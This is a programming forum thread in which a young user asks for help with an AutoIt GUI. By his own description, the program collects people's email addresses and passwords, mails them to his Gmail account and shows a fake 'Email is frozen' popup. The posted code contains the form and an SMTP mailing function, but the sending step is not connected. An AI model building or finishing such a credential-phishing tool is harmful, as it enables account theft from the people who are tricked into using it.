Jump to content
Sign in to follow this  
hacker032

Button Link

Recommended Posts

hacker032

am new in this scripting and i making some program so i made on button and i have to type link in it so how please tell me?

Share this post


Link to post
Share on other sites
martin

am new in this scripting and i making some program so i made on button and i have to type link in it so how please tell me?

Welcome to the AutoIt forums hacker032 :)

Can you show what you have so far?


Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.

Share this post


Link to post
Share on other sites
hacker032

here is screenshoot Posted Image Down after freeze and unfreeze should be a button with link so can u help me..

Function is that someone type fields and press freeze or unfreeze all sends to one mail but it's open one pop up with "Email is forzen" Fake but it's my first is that ok?

Edited by hacker032

Share this post


Link to post
Share on other sites
martin

here is screenshoot Posted Image Down after freeze and unfreeze should be a button with link so can u help me..

Function is that someone type fields and press freeze or unfreeze all sends to one mail but it's open one pop up with "Email is forzen" Fake but it's my first is that ok?

Thanks. What I meant was have you got any code to show.

The button at the bottom which you want for a link, do you mean that when someone presses it the email gets sent? Maybe I haven't understood you.


Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.

Share this post


Link to post
Share on other sites
hacker032

yeah u type fields and all sent to my gmail user...Its my first i have 12 years

Share this post


Link to post
Share on other sites
hacker032

now i just change this fields in a input box like this is augly pls help me and i need just a button function for sending and pls tell me where to put it

Share this post


Link to post
Share on other sites
hacker032

anyone gonna help????? first u press freeze and all sents to gmail

and the link is for a real forum i just have to active that buttons one is for sending "Freeze!"...."Defreeze" is nothing

and and last one is for a link to go at the forum.....Just need to get activate

Edited by hacker032

Share this post


Link to post
Share on other sites
BrettF

Possible if you talk in legible english and if you do what was already suggested (Post your code), we can...

And why the blacking out of parts in your picture? Got something to hide about the nature of the program?

EDIT: Also, wait 24 hours before bumping your post!

Edited by BrettF

Share this post


Link to post
Share on other sites
hacker032

#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.0.0
 Author:         Ivan Andrijanic 

 Script Function:
    Template AutoIt script.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here


#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

#Region ### START Koda GUI section ### Form=c:\documents and settings\korisnik\desktop\desktop\encorefreezer 1.kxf
$Form1_1 = GUICreate("Encore Freezer 1.0", 357, 380, 297, 181)
GUISetFont(10, 800, 0, "Comic Sans MS")
GUISetBkColor(0xFFFFFF)
$Label2 = GUICtrlCreateLabel("Email:", 40, 161, 43, 23)
$Label3 = GUICtrlCreateLabel("My Email:", 16, 207, 67, 23)
$Label4 = GUICtrlCreateLabel("Password:", 15, 255, 66, 23)
$UnFreeze = GUICtrlCreateButton("UnFreeze", 200, 297, 75, 25, 0)
GUICtrlSetTip(-1, "UnFreeze!")
$Freeze = GUICtrlCreateButton("Freeze", 91, 298, 75, 25, 0) 
GUICtrlSetTip(-1, "Freeze!")
$Group1 = GUICtrlCreateGroup("Account info", 36, 530, 303, 120)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Input1 = GUICtrlCreateInput("Password", 166, 600, 146, 27)
GUICtrlCreateInput("pwned879@gmail.com", 166, 560, 146, 27)
$Label5 = GUICtrlCreateLabel("Password:", 86, 601, 66, 23)
$Label6 = GUICtrlCreateLabel("Gmail Username:", 47, 564, 110, 23)
$Label8 = GUICtrlCreateLabel("To:", 117, 668, 26, 23)
$Button1 = GUICtrlCreateButton("Visit Encore Forum", 103, 336, 156, 24, 0)
GUICtrlSetTip(-1, "Encore!")
$Input2 = GUICtrlCreateInput("encorehacking@gmail.com", 144, 662, 211, 27)
$Pic1 = GUICtrlCreatePic("C:\Documents and Settings\korisnik\Desktop\abx.JPG", 90, 5, 190, 99, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUICtrlCreateInput("", 95, 157, 181, 27)
GUICtrlCreateInput("", 93, 204, 183, 27)
GUICtrlCreateInput("", 92, 255, 184, 27)
$Label1 = GUICtrlCreateLabel("How Long:", 12, 118, 70, 23)
GUICtrlCreateInput("", 94, 113, 181, 27)
$Label7 = GUICtrlCreateLabel("Minutes", 287, 115, 52, 23)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

EndSwitch
WEnd

;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF);### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    $objEmail.Configuration.Fields.Update
; Set Email Importance
    Switch $s_Importance
        Case ""
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "H"
        Case ""
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "N"
        Case ""
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "L"
    EndSwitch
    $objEmail.Fields.Update
; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail = ""
EndFunc  ;==>_INetSmtpMailCom

Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc  ;==>MyErrFunc
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

EndSwitch
WEnd

Here!

Share this post


Link to post
Share on other sites
BrettF

Hi there,

Take a close look at your GUI message loop.

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button1
            ShellExecute ("http://www.google.com.au/")
    EndSwitch
WEnd

See where I added a case statement? Basically when you create a control, it returns a control ID. GUIGetMsg will also return a control ID when an action happens to the control- mouse click etc. I used ShellExecute so the webpage opens in my browser.

Just a note though, you had a second Loop at the bottom of your script, and It had no reason to be there, so I deleted it, but I also had problems getting it to run with _INETSMTPMailCom(), so make sure you have a look at undeclared variables (use the full version of SciTE, the download link is in my sig... :))

Cheers,

Brett

Share this post


Link to post
Share on other sites
hacker032

no probs i have my friend..:)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×